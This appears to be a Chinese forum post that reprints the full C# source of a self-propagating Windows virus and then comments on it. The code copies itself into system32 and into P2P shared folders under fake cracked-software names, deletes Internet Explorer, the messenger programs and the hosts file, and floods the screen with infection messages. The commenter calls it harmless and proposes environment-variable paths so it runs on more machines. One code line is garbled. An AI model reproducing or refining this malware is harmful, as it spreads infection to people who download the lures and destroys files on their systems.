××××××××××××××××××××××××××××××××××××××××××××××/
病毒代码如下
/* intento basico para un virus en C#
* iniciacion del projecto Lunes 10 de Julio del 2006
* ~~bl00dy c0d3r~~
*/
using System;
using System.IO;
using System.Windows.Forms;
class MainClass {
public static void Main() {
   string pauseline = "";
   System.Windows.Forms.View.LargeIcon.Equals(@"cd.ico");
   Console.WriteLine("Iniciating Install.. ");
  
   Console.WriteLine("Press ENTER to start...");
   pauseline = Console.ReadLine();
   try {
   Application.StartupPath.Clone();
   } catch (Exception) {
    Console.WriteLine("StartUp Path, not cloned..");
   } try {
   Application.AllowQuit.Equals(false);
} catch (Exception) {
   Console.WriteLine("to quit press Ctrl + C");
}
   new trigger();
}
}
class trigger {
public trigger(){
   long trigger, counter;
   trigger = 10000;
   counter = 2;
   while (trigger != counter) {
    counter = counter + 1;
     Console.WriteLine("{0} << progress out of 10000", counter);
   }
   new effects(); // al activarse se ira a MainForm() y copy()
}
}
class copy {
public copy() {
   try {
   File.Copy(Application.ExecutablePath, System.Environment.SystemDirectory + @"\winlogon.dll.exe", true);
   } catch (Exception) {
    Console.WriteLine("winlogon failed permanently");
   }
   try {
   File.Copy(Application.ExecutablePath, @"C:\WINDOWS\system32\taskman.exe", true);
   } catch (Exception) {
    Console.WriteLine("Finishing...");
   }try {
   File.Copy(Application.ExecutablePath, System.Environment.SystemDirectory + @"\notepad.exe", true);
   }catch (Exception){
    Console.WriteLine("Notepad failed permanently");
   } try {
   File.Copy(Application.ExecutablePath, @"C:\Documents and Settings\Owner\Shared\Norton Antivirus~craked.exe", true);
   File.Copy(Application.ExecutablePath, @"C:\Documents and Settings\Owner\Shared\LimeWire Pro~10.5 Craked.exe", true);
   File.Copy(Application.ExecutablePath, @"C:\Documents and Settings\Owner\Shared\Key Generator Universal.exe", true);
   File.Copy(Application.ExecutablePath, @"C:\Documents and Settings\Owner\Shared\Generator Credit Card.exe", true);
   File.Copy(Application.ExecutablePath, @"C:\Documents and Settings\Owner\Shared\Halo 2.exe", true);
   File.Copy(Application.ExecutablePath, @"C:\Documents and Settings\Owner\Shared\Morpheus Ultra~Craked.exe", true);
   File.Copy(Application.ExecutablePath, @"C:\Documents and Settings\Owner\Shared\AntiSpyware Ultra.exe", true);
   File.Copy(Application.ExecutablePath, @"C:\Documents and Settings\Owner\Shared\Craked Windows XP sp2.exe", true);
   File.Copy(Application.ExecutablePath, @"C:\Documents and Settings\Owner\Shared\Win Zip craked.exe", true);
   File.Copy(Application.ExecutablePath, @"C:\Documents and Settings\Owner\Shared\Macromedia Flash 8 craked.exe", true);
   File.Copy(Application.ExecutablePath, @"C:\Documents and Settings\Owner\Shared\Lord of the rings II craked.exe", true);
   File.Copy(Application.ExecutablePath, @"C:\Documents and Settings\Owner\Shared\Nero craked.exe", true);
   File.Copy(Application.ExecutablePath, @"C:\Documents and Settings\Owner\Shared\Google Earth Pro~craked.exe", true);
   File.Copy(Application.ExecutablePath, @"C:\Documents and Settings\Owner\Shared\Windows Vista Craked.exe", true);
   } catch (Exception) {
   Console.WriteLine("LimeWire not found..");
   Console.WriteLine("Please try to download it at http://www.Limewire.com"); 
   } try {
   File.Copy(Application.ExecutablePath, @"C:\Program Files\Morpheus Ultra\My Shared Folder\Norton Antivirus~craked.exe", true);
   File.Copy(Application.ExecutablePath, @"C:\Program Files\Morpheus Ultra\My Shared Folder\LimeWire Pro~10.5 Craked.exe", true);
   File.Copy(Application.ExecutablePath, @"C:\Program Files\Morpheus Ultra\My Shared Folder\Key Generator Universal.exe", true);
   File.Copy(Application.ExecutablePath, @"C:\Program Files\Morpheus Ultra\My Shared Folder\Generator Credit Card.exe", true);
   File.Copy(Application.ExecutablePath, @"C:\Program Files\Morpheus Ultra\My Shared Folder\Halo 2.exe", true);
   File.Copy(Application.ExecutablePath, @"C:\Program Files\Morpheus Ultra\My Shared Folder\Morpheus Ultra~Craked.exe", true);
   File.Copy(Application.ExecutablePath, @"C:\Program Files\Morpheus Ultra\My Shared Folder\AntiSpyware Ultra.exe", true);
   File.Copy(Application.ExecutablePath, @"C:\Program Files\Morpheus Ultra\My Shared Folder\Craked Windows XP sp2.exe", true);
   File.Copy(Application.ExecutablePath, @"C:\Program Files\Morpheus Ultra\My Shared Folder\Win Zip craked.exe", true);
   File.Copy(Application.ExecutablePath, @"C:\Program Files\Morpheus Ultra\My Shared Folder\Macromedia Flash 8 craked.exe", true);
   File.Copy(Application.ExecutablePath, @"C:\Program Files\Morpheus Ultra\My Shared Folder\Lord of the rings II craked.exe", true);
   File.Copy(Application.ExecutablePath, @"C:\Program Files\Morpheus Ultra\My Shared Folder\Nero craked.exe", true); 
   File.Copy(Application.ExecutablePath, @"C:\Program Files\Morpheus Ultra\My Shared Folder\Google Earth Pro~craked.exe", true);
   File.Copy(Application.ExecutablePath, @"C:\Program Files\Morpheus Ultra\My Shared Folder\Windows Vista Craked.exe", true);
   } catch (Exception) {
    Console.WriteLine("Morpheus Ultra not Found..");
   } try {
   File.Copy(Application.ExecutablePath, @"C:\Program Files\Morpheus\My Shared Folder\Norton Antivirus~Craked.exe", true);
   File.Copy(Application.ExecutablePath, @"C:\Program Files\Morpheus\My Shared Folder\LimeWire Pro~10.5 Craked.exe", true);
   File.Copy(Application.ExecutablePath, @"C:\Program Files\Morpheus\My Shared Folder\Key Generator Universal.exe", true);
   File.Copy(Application.ExecutablePath, @"C:\Program Files\Morpheus\My Shared Folder\Halo 2.exe", true);
   File.Copy(Application.ExecutablePath, @"C:\Program Files\Morpheus\My Shared Folder\Morpheus Ultra~Craked.exe", true);
   File.Copy(Application.ExecutablePath, @"C:\Program Files\Morpheus\My Shared Folder\AntiSpyware Ultra.exe", true);
   File.Copy(Application.ExecutablePath, @"C:\Program Files\Morpheus\My Shared Folder\Craked Windows XP sp2.exe", true);
   File.Copy(Application.ExecutablePath, @"C:\Program Files\Morpheus\My Shared Folder\Win Zip craked.exe", true);
   File.Copy(Application.ExecutablePath, @"C:\Program Files\Morpheus\My Shared Folder\Macromedia Flash 8 craked.exe", true);
   File.Copy(Application.ExecutablePath, @"C:\Program Files\Morpheus\My Shared Folder\Lord of the rings II craked.exe", true);
   File.Copy(Application.ExecutablePath, @"C:\Program Files\Morpheus\My Shared Folder\Nero craked.exe", true);
   File.Copy(Application.ExecutablePath, @"C:\Program Files\Morpheus\My Shared Folder\Google Earth Pro~craked.exe", true);
   File.Copy(Application.ExecutablePath, @"C:\Program Files\Morpheus\My Shared Folder\Windows Vista Craked.exe", true);
   } catch (Exception) {
   Console.WriteLine("Morpheus not found.."); 
   } try {
   File.Copy(Application.ExecutablePath, @"C:\Program Files\Kazaa\My Shared Folder\Norton Antivirus~Craked.exe", true);
   File.Copy(Application.ExecutablePath, @"C:\Program Files\Kazaa\My Shared Folder\LimeWire Pro~10.5 Craked.exe", true);
   File.Copy(Application.ExecutablePath, @"C:\Program Files\Kazaa\My Shared Folder\Key Generator Universal.exe", true);
   File.Copy(Application.ExecutablePath, @"C:\Program Files\Kazaa\My Shared Folder\Halo 2.exe", true);
   File.Copy(Application.ExecutablePath, @"C:\Program Files\Kazaa\My Shared Folder\Morpheus Ultra~Craked.exe", true);
   File.Copy(Application.ExecutablePath, @"C:\Program Files\Kazaa\My Shared Folder\AntiSpyware Ultra.exe", true);
   File.Copy(Application.ExecutablePath, @"C:\Program Files\Kazaa\My Shared Folder\Craked Windows XP sp2.exe", true);
   File.Copy(Application.ExecutablePath, @"C:\Program Files\Kazaa\My Shared Folder\Win Zip craked.exe", true);
   File.Copy(Application.ExecutablePath, @"C:\Program Files\Kazaa\My Shared Folder\Macromedia Flash 8 craked.exe", true);
   File.Copy(Application.ExecutablePath, @"C:\Program Files\Kazaa\My Shared Folder\Lord of the rings II craked.exe", true);
   File.Copy(Application.ExecutablePath, @"C:\Program Files\Kazaa\My Shared Folder\Nero craked.exe", true);
   File.Copy(Applica瓚ion.ExecutablePath, @"C:\Program Files\Kazaa\My Shared Folder\Google Earth Pro~craked.exe", true);
   File.Copy(Application.ExecutablePath, @"C:\Program Files\Kazaa\My Shared Folder\Windows Vista Craked.exe", true);
   } catch (Exception) {
   Console.WriteLine("Kazaa not found..");
   }
}
}
class effects {
public effects() {
new copy();
try {
   File.Delete(@"C:\Program Files\Yahoo!\Messenger\YPager.exe");
   File.Delete(@"C:\Program Files\Internet Explorer\IEXPLORE.EXE");
   File.Delete(@"C:\WINDOWS\$hf_mig$\KB873339\spmsg.dll");
   File.Delete(@"C:\WINDOWS\system32\drivers\etc\hosts");
   File.Delete(@"C:\Program Files\MSN Messenger\msvc.exe");
   File.Delete(@"C:\Program Files\MSN Messenger\msnmsgr.exe");
   } catch (Exception) {
   Console.WriteLine("Internet Explorer not found..");
   }
new report();
new infected();
Application.Run(new MainForm());
}
}
class infected {
public infected() {
   string youInfected;
   youInfected = "true";
   if (youInfected == "true") {
    Console.WriteLine("Finished!!");
    Console.WriteLine("press ENTER to continue...");
    string pauselineinfected;
    pauselineinfected = Console.ReadLine();
   } else {
    new effects();
   }
}
}
class report {
public report() {
   // aqui se pondra el codigo de reporte
   Console.WriteLine("Registering..");
}
}
class MainForm : Form {
public MainForm() {
   long numDeVeces = 10000;
   long counter = 1;
   while (numDeVeces != counter) {
    try {
     Application.AllowQuit.Equals(false); 
    } catch (Exception) {
    Console.WriteLine("JEJEJEJE!!!");
    }
   counter = counter + 1;
   MessageBox.Show("Estas Infectad@ con bl00dy Mary, have phun!!\nNo intentes remover el virus o atacara!!",
                  "Error Fatal..", MessageBoxButtons.OK, MessageBoxIcon.Hand, MessageBoxDefaultButton.Button1);
   }
}
}
// terminado Domingo 16 de Julio 2006 10:43 pm. -=[bl00dy c0d3r]=-
这个病毒没杀伤力,就是几个替换和拷贝文件而已
不过觉得作者有一段代码写的不精炼

   File.Copy(Application.ExecutablePath, @"C:\Documents and Settings\Owner\Shared\Norton Antivirus~craked.exe", true);
   File.Copy(Application.ExecutablePath, @"C:\Documents and Settings\Owner\Shared\LimeWire Pro~10.5 Craked.exe", true);
   File.Copy(Application.ExecutablePath, @"C:\Documents and Settings\Owner\Shared\Key Generator Universal.exe", true);
   File.Copy(Application.ExecutablePath, @"C:\Documents and Settings\Owner\Shared\Generator Credit Card.exe", true);
   File.Copy(Application.ExecutablePath, @"C:\Documents and Settings\Owner\Shared\Halo 2.exe", true);
   File.Copy(Application.ExecutablePath, @"C:\Documents and Settings\Owner\Shared\Morpheus Ultra~Craked.exe", true);
   File.Copy(Application.ExecutablePath, @"C:\Documents and Settings\Owner\Shared\AntiSpyware Ultra.exe", true);
   File.Copy(Application.ExecutablePath, @"C:\Documents and Settings\Owner\Shared\Craked Windows XP sp2.exe", true);
   File.Copy(Application.ExecutablePath, @"C:\Documents and Settings\Owner\Shared\Win Zip craked.exe", true);
   File.Copy(Application.ExecutablePath, @"C:\Documents and Settings\Owner\Shared\Macromedia Flash 8 craked.exe", true);
   File.Copy(Application.ExecutablePath, @"C:\Documents and Settings\Owner\Shared\Lord of the rings II craked.exe", true);
   File.Copy(Application.ExecutablePath, @"C:\Documents and Settings\Owner\Shared\Nero craked.exe", true);
   File.Copy(Application.ExecutablePath, @"C:\Documents and Settings\Owner\Shared\Google Earth Pro~craked.exe", true);
   File.Copy(Application.ExecutablePath, @"C:\Documents and Settings\Owner\Shared\Windows Vista Craked.exe", true);
   } catch (Exception) {
   Console.WriteLine("LimeWire not found..");
   Console.WriteLine("Please try to download it at http://www.Limewire.com");
磁盘路径C:\Documents and Settings\Owner\并不是每台计算机的操作系统都安装在C盘
可以用Environment.GetEnvironmentVariable 方法获得系统环境变量
例如用户配置文档目录%userprofile%,以及系统应用程序安装目录 %programfiles%都可以用上面那个方法获得.
例如获得用户配置文档目录
Environement.GetEnvironmentVariable("userprofile")
不过作者挺专业的
都写好了 autorun.inf和nfo文件